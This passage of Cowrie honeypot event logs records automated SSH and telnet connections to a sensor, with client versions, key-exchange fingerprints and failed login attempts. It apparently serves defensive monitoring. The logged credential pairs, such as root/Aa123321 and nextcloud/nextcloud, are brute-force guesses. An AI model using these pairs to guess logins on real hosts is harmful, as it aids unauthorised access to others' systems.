rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:35.829876Z","src_ip":"159.203.92.129","session":"cb7c976f4bc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"password","message":"login attempt [app/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:35.843001Z","src_ip":"159.203.92.129","session":"cb7c976f4bc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:36.850645Z","src_ip":"159.203.92.129","session":"cb7c976f4bc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":37076,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b7c8b199b29","protocol":"ssh","message":"New connection: 122.168.114.167:37076 (159.203.135.109:22) [session: 8b7c8b199b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:50.373291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:53.850593Z","src_ip":"122.168.114.167","session":"8b7c8b199b29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:04:53.854319Z","src_ip":"122.168.114.167","session":"8b7c8b199b29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":30172,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b42df7170b1","protocol":"ssh","message":"New connection: 182.253.79.194:30172 (10.17.0.5:22) [session: 5b42df7170b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:05.587648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:05.592469Z","src_ip":"182.253.79.194","session":"5b42df7170b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:05.864203Z","src_ip":"182.253.79.194","session":"5b42df7170b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nextcloud","password":"nextcloud","message":"login attempt [nextcloud/nextcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:06.979574Z","src_ip":"182.253.79.194","session":"5b42df7170b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:08.254139Z","src_ip":"182.253.79.194","session":"5b42df7170b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.595043659210205,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:08.492068Z","src_ip":"185.26.126.47","session":"0e6155ff81a3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:11.719063Z","src_ip":"122.168.114.167","session":"8b7c8b199b29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":40432,"dst_ip":"159.203.135.109","dst_port":23,"session":"210ed755163b","protocol":"telnet","message":"New connection: 185.26.126.47:40432 (159.203.135.109:23) [session: 210ed755163b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:12.815822Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":40812,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad8a13d0eed1","protocol":"telnet","message":"New connection: 185.26.126.47:40812 (159.203.135.109:23) [session: ad8a13d0eed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:13.323123Z"}
{"eventid":"cowrie.session.closed","duration":"27.5","message":"Connection lost after 27.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:17.925698Z","src_ip":"122.168.114.167","session":"8b7c8b199b29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39870,"dst_ip":"159.203.135.109","dst_port":22,"session":"f83b5d4f418e","protocol":"ssh","message":"New connection: 159.203.92.129:39870 (159.203.135.109:22) [session: f83b5d4f418e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:20.078091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:20.082275Z","src_ip":"159.203.92.129","session":"f83b5d4f418e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:20.088120Z","src_ip":"159.203.92.129","session":"f83b5d4f418e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"root","message":"login attempt [app/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:20.099192Z","src_ip":"159.203.92.129","session":"f83b5d4f418e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:21.178695Z","src_ip":"159.203.92.129","session":"f83b5d4f418e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.588812112808228,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:22.911787Z","src_ip":"185.26.126.47","session":"ad8a13d0eed1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":39470,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d018cb98968","protocol":"ssh","message":"New connection: 122.168.114.167:39470 (159.203.135.109:22) [session: 7d018cb98968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:29.084577Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.23.151.46","src_port":50932,"dst_ip":"159.203.135.109","dst_port":22,"session":"95df51c6669a","protocol":"ssh","message":"New connection: 64.23.151.46:50932 (159.203.135.109:22) [session: 95df51c6669a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:30.637579Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:31.989263Z","src_ip":"64.23.151.46","session":"95df51c6669a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:34.651005Z","src_ip":"122.168.114.167","session":"7d018cb98968","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:34.655394Z","src_ip":"122.168.114.167","session":"7d018cb98968","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.74722480773926,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:51.562912Z","src_ip":"185.26.126.47","session":"210ed755163b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:05:58.070238Z","src_ip":"122.168.114.167","session":"7d018cb98968","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34926,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0632588b9ba","protocol":"ssh","message":"New connection: 159.203.92.129:34926 (159.203.135.109:22) [session: b0632588b9ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:03.559448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:03.566810Z","src_ip":"159.203.92.129","session":"b0632588b9ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:03.571683Z","src_ip":"159.203.92.129","session":"b0632588b9ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appadmin","password":"123456","message":"login attempt [appadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:03.585139Z","src_ip":"159.203.92.129","session":"b0632588b9ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:04.592519Z","src_ip":"159.203.92.129","session":"b0632588b9ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.6","message":"Connection lost after 36.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:05.656028Z","src_ip":"122.168.114.167","session":"7d018cb98968","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":41866,"dst_ip":"159.203.135.109","dst_port":22,"session":"726e6357ffee","protocol":"ssh","message":"New connection: 122.168.114.167:41866 (159.203.135.109:22) [session: 726e6357ffee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:06.868589Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":2446,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc7ad7047b1f","protocol":"ssh","message":"New connection: 182.253.79.194:2446 (10.17.0.5:22) [session: fc7ad7047b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:10.199658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:10.208857Z","src_ip":"182.253.79.194","session":"fc7ad7047b1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:10.473646Z","src_ip":"182.253.79.194","session":"fc7ad7047b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hk@123456","message":"login attempt [root/Hk@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:11.562119Z","src_ip":"182.253.79.194","session":"fc7ad7047b1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:12.828543Z","src_ip":"182.253.79.194","session":"fc7ad7047b1f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:13.848361Z","src_ip":"122.168.114.167","session":"726e6357ffee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:13.852125Z","src_ip":"122.168.114.167","session":"726e6357ffee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:06:45.162624Z","src_ip":"122.168.114.167","session":"726e6357ffee","protocol":"ssh"}
